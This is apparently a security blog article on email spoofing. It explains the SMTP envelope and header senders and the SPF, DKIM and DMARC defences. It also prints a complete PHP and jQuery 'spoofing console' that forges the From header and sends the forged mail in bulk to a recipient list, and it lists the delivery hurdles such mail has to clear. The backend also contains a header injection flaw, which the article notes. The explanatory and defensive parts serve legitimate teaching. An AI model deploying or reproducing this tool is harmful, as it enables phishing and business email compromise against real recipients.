Skip to content
Threat Intelligence

Understanding Email Spoofing: SMTP Mechanics, PHP Implementation, and Modern Defenses

An in-depth cybersecurity review of email spoofing. Discover the underlying SMTP protocol weaknesses, analyze a PHP-based spoofing implementation, and learn how SPF, DKIM, and DMARC work together to secure email communications.

Email Spoofing PHP

The Foundations of Email Spoofing

Email spoofing is one of those attacks that feels almost embarrassingly simple once you understand how it works. At its core, it’s just forging the sender address on an email to make it look like it came from someone trustworthy — a bank, your boss, or a colleague. Phishing campaigns, business email compromise (BEC) scams, and credential harvesting attacks all lean heavily on this technique. But why is it even possible in the first place?

The answer goes back to 1982. When SMTP was defined in RFC 821, it was designed for a small, closed network of academic and military institutions where everyone implicitly trusted one another. Authentication wasn’t part of the spec — it simply wasn’t seen as necessary. Decades later, that design assumption is still baked into the protocol, and attackers are happy to exploit it.


SMTP Architecture: Envelope vs. Header Address

To really understand email spoofing, you need to grasp one critical distinction: the envelope sender and the header sender are two completely separate things.

When your mail client sends a message, it actually transmits two sets of sender information:

Address TypeTechnical ParameterPurposeClient Visibility
Envelope SenderMAIL FROM (or Return-Path)Used by Mail Transfer Agents (MTAs) for routing and bounce notifications.Typically hidden unless inspecting raw headers.
Header SenderFrom: (within DATA)Used by your mail client (Outlook, Gmail, etc.) to display the sender name.Visible in the “From” field of the inbox.

Here’s where the attack lives: your inbox shows the From: header, but the actual SMTP routing uses the envelope. An attacker can set the envelope sender to a domain they control — just enough to pass basic routing checks — while injecting whatever they want into the visible From: header. The victim sees security@trustedbank.com and has no reason to be suspicious.


Advertisement

How Email Validation Protocols Work

The cybersecurity community didn’t sit on this problem forever. Three authentication standards — SPF, DKIM, and DMARC — were developed specifically to close these gaps. Here’s how the full validation flow looks in practice:

%%{init: {'theme': 'dark', 'themeVariables': { 'primaryColor': '#1e293b', 'primaryTextColor': '#e2e8f0', 'primaryBorderColor': '#475569', 'lineColor': '#38bdf8', 'secondaryColor': '#0f172a', 'tertiaryColor': '#1e293b'}}}%% sequenceDiagram autonumber actor Script as Spoofing Script participant Server as Receiving Mail Server participant DNS as Sender Domain DNS participant Inbox as Recipient's Inbox Script->>Server: SMTP HELO/EHLO (Init Connection) Script->>Server: "MAIL FROM: (Envelope Sender)" Script->>Server: "RCPT TO: " Script->>Server: "DATA (Inject headers: From: CEO )" Script->>Server: Send message body and terminate data stream rect rgb(30, 41, 59) Note over Server,DNS: Verification Phase (SPF, DKIM, DMARC) Server->>DNS: Check SPF record for attackerdomain.com DNS-->>Server: SPF record (validates sending IP) Server->>DNS: Check DKIM public key & signature alignment DNS-->>Server: DKIM record details Server->>DNS: Check DMARC record for trusteddomain.com DNS-->>Server: DMARC policy (alignment rule & action) end alt DMARC Alignment Check Fails (Envelope Domain != Header Domain) Server->>Inbox: Deliver to Spam/Quarantine (or Reject) else Domain is unprotected or checks align Server->>Inbox: Deliver to Primary Inbox (Displays Spoofed Sender) end

1. SPF (Sender Policy Framework)

SPF lets a domain owner publish a DNS record listing every IP address and subnet that’s authorized to send mail on their behalf. When an inbound email arrives, the receiving server queries the SPF record for the domain in the MAIL FROM address and checks whether the connecting IP is on the list.

The catch? SPF only validates the envelope sender domain. It doesn’t touch the visible From: header at all, which is exactly the field an attacker is spoofing. SPF alone is not enough.

2. DKIM (DomainKeys Identified Mail)

DKIM takes a different approach: cryptographic signing. The sending mail server signs the message headers using a private key, and the recipient’s server verifies that signature against the public key published in DNS. This confirms the message hasn’t been altered in transit — but here’s the gap: a message signed by attackerdomain.com is perfectly valid from a DKIM perspective, even if the visible From: header claims it came from trusteddomain.com.

3. DMARC (Domain-based Message Authentication, Reporting, and Conformance)

DMARC is where things finally come together. It enforces alignment — meaning the domain in the visible From: header must match the domain verified by SPF or DKIM. No alignment, no pass.

Domain owners also get to specify what happens when validation fails:

  • p=none — Monitor mode only. The email is delivered, but failure reports are sent to the domain owner.
  • p=quarantine — Failing emails go to the spam or junk folder.
  • p=reject — The email is blocked entirely at the gateway.

For meaningful protection, you want p=reject. Anything less still lets spoofed messages through.


Download the Source Code

For security researchers running authorized phishing simulations or configuration audits, the full implementation files are available on GitHub:

Github Release


Technical Code Analysis

PHP Backend Script (index.php)

This script uses PHP’s built-in mail() function, which hands off to whatever Mail Transfer Agent is running locally on the server — typically sendmail or postfix.

<?php
// Check if the request is an AJAX call containing mail details
if (isset($_POST['ajax'])) {
    $to = $_POST['to'];
    $subject = $_POST['sub'];
    $msg = $_POST['msg'];
    
    // Construct MIME headers to support HTML content
    $headers = "MIME-Version: 1.0" . "\r\n";
    $headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
    
    // Inject the spoofed From Name and From Email address
    $headers .= "From: " . $_POST['name'] . " <" . $_POST['from'] . ">";
    
    // Send the email via the local mail server
    $send = mail($to, $subject, $msg, $headers);
    
    if ($send) {
        echo "<p id='success'>Message sent successfully!  $to</p>";
    } else {
        echo "<p id='error'>Failed to send message  $to</p>";
    }
    exit();
}
?>

[!CAUTION] Mail Header Injection Vulnerability: The script concatenates raw user input ($_POST['from'], $_POST['name']) directly into the header string without any sanitization. In a production context, this creates a Mail Header Injection risk — an attacker can embed carriage return and line feed characters (\r\n) to inject arbitrary headers like Bcc: or Cc:, or even manipulate the message body itself.


HTML & jQuery Frontend Interface (interface.html)

The frontend gives you a simple dashboard to build the email payload and specify a list of recipients. The JavaScript loops through the target list and fires off parallel asynchronous POST requests to the PHP backend.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <link href="https://fonts.googleapis.com/css?family=Montserrat|Roboto" rel="stylesheet">
    <title>Email Spoofing Demonstration Interface</title>
    <style>
        body {
            margin: 0;
            padding: 0;
            background: #00bf8f;
            background: -webkit-linear-gradient(to right, #001510, #00bf8f);
            background: linear-gradient(to right, #001510, #00bf8f);
            font-family: 'Roboto', sans-serif;
            color: #ffffff;
        }
        .main {
            max-width: 768px;
            margin: 100px auto;
            padding: 20px;
            background: rgba(0, 21, 16, 0.8);
            border-radius: 8px;
            box-shadow: 0 4px 15px rgba(0, 0, 0, 0.5);
        }
        h1 {
            text-align: center;
            font-family: 'Montserrat', sans-serif;
            color: #e3b8b9;
            text-shadow: 0 0 10px #a00000;
        }
        input[type="text"], textarea {
            width: 100%;
            background: linear-gradient(to right, #F4E2D8, #BA5370);
            box-shadow: 0 0 8px lime;
            border: none;
            border-radius: 4px;
            padding: 12px;
            margin: 8px 0;
            box-sizing: border-box;
            outline: none;
            color: #900;
            font-family: 'Montserrat', sans-serif;
            font-size: 14px;
            transition: 0.3s ease;
        }
        input[type="text"]:hover, textarea:hover {
            box-shadow: 0 0 12px red;
        }
        .form-row {
            display: flex;
            gap: 15px;
        }
        .form-row input {
            width: 50%;
        }
        textarea {
            height: 150px;
            background: linear-gradient(to right, #DC281E, #F00000);
            color: #ffffff;
        }
        button {
            background-color: #f00000;
            box-shadow: 0 0 8px lime;
            width: 100%;
            height: 45px;
            color: #ffffff;
            border: none;
            border-radius: 4px;
            font-family: 'Montserrat', sans-serif;
            font-size: 16px;
            font-weight: bold;
            letter-spacing: 1px;
            cursor: pointer;
            transition: 0.3s ease;
            margin-top: 15px;
        }
        button:hover {
            color: #f00000;
            background-color: #ffffff;
            box-shadow: 0 0 12px red;
        }
        #result {
            margin-top: 20px;
            padding: 10px;
            font-family: 'Montserrat', sans-serif;
        }
        .success-msg { color: #00ff00; }
        .error-msg { color: #ff3333; }
    </style>
</head>
<body>
    <div class="main">
        <h1>EMAIL SPOOFING CONSOLE</h1>
        <form id="spoofForm">
            <div class="form-row">
                <input type="text" name="from" id="from" placeholder="From Email (e.g., ceo@target.com)">
                <input type="text" name="name" id="name" placeholder="From Name (e.g., Executive Name)">
            </div>
            <input type="text" name="sub" id="sub" placeholder="Email Subject">
            <div class="form-row">
                <textarea name="msg" id="msg" placeholder="Email Message Body (HTML or Plain Text)"></textarea>
                <textarea name="to" id="to" placeholder="Recipient List (One email address per line)"></textarea>
            </div>
            <button id="btn" type="button">SEND EMAILS</button>
            <div id="result"></div>
        </form>
    </div>

    <script src="https://code.jquery.com/jquery-3.3.1.js"></script>
    <script type="text/javascript">
        $(document).ready(function() {
            $("#btn").on('click', function() {
                var mailist = $("#to").val().split("\n");
                var totalMails = mailist.length;
                
                for (var current = 0; current < totalMails; current++) {
                    var to = mailist[current].trim();
                    if (to === "") continue;

                    var from = $("#from").val();
                    var name = $("#name").val();
                    var sub = $("#sub").val();
                    var msg = $("#msg").val();
                    
                    var data = {
                        ajax: 1,
                        from: from,
                        name: name,
                        sub: sub,
                        msg: msg,
                        to: to
                    };

                    $.ajax({
                        type: 'POST',
                        url: '', // Posts back to the same PHP file hosting the script
                        data: data,
                        success: function(response) {
                            $("#result").append(response);
                        },
                        error: function() {
                            $("#result").append("<p class='error-msg'>Connection error while sending to: " + to + "</p>");
                        }
                    });
                }
            });
        });
    </script>
</body>
</html>

Why Inbox Delivery Is Harder Than It Looks

If you drop this PHP script on a basic VPS or shared cPanel server and point it at a Gmail or Microsoft 365 address, you’ll almost certainly hit the spam folder — or get rejected outright. Modern mail security stacks are layered, and there are several checkpoints your email has to clear before it reaches anyone’s inbox:

  1. IP Reputation — Spam filters pull your sending IP against Real-time Blackhole Lists (RBLs) like Spamhaus during the initial TCP handshake. Fresh VPS IPs that haven’t been “warmed up,” residential IPs, and datacenter ranges frequently appear on these lists.

  2. Reverse DNS (PTR Records) — Receiving servers run a PTR lookup on your IP to check that it resolves back to the hostname you declared in your SMTP EHLO command. Missing or mismatched reverse DNS is an instant red flag.

  3. DMARC Enforcement — If the domain you’re spoofing in the From: header has an active DMARC policy set to quarantine or reject, the receiving server will act on it. The envelope sender domain (typically your server’s hostname) won’t align with the header domain, and the message fails the DMARC check.


FAQs

Can I run this on a static hosting provider?

No. Static hosts like GitHub Pages or Netlify only serve pre-rendered HTML and client-side JavaScript — there’s no server-side execution environment. Sending email requires an SMTP connection between servers, which means you need an environment capable of running PHP: a VPS, a cPanel server, or a serverless function with SMTP access.

Why does the email land in spam or get blocked entirely?

Most likely, the spoofed domain has SPF, DKIM, or DMARC configured, and one or more checks are failing. It could also be an IP reputation issue — if your sending IP is on an RBL or lacks proper reverse DNS, the receiving server may reject the connection before the email even gets queued.

How do security teams test their organization’s defenses against spoofing?

The standard approach is running an authorized phishing simulation using tools like GoPhish, configured with a test domain that mimics internal branding. The goal is to verify that your email security gateway (SEG) correctly quarantines or rejects inbound messages from unauthorized senders claiming to be internal domains.


Defensive Resources


[!WARNING] Legal and Ethical Disclaimer: This article is written strictly for educational purposes and authorized penetration testing. Using spoofing scripts to send emails without explicit written authorization from the system owners and target recipients is illegal and violates computer fraud laws in most jurisdictions. Always operate within a defined, approved scope.

Stay Ethical. Stay Secure.


Share article

Subscribe to my newsletter

Receive my case study and the latest articles on my WhatsApp Channel.

Warning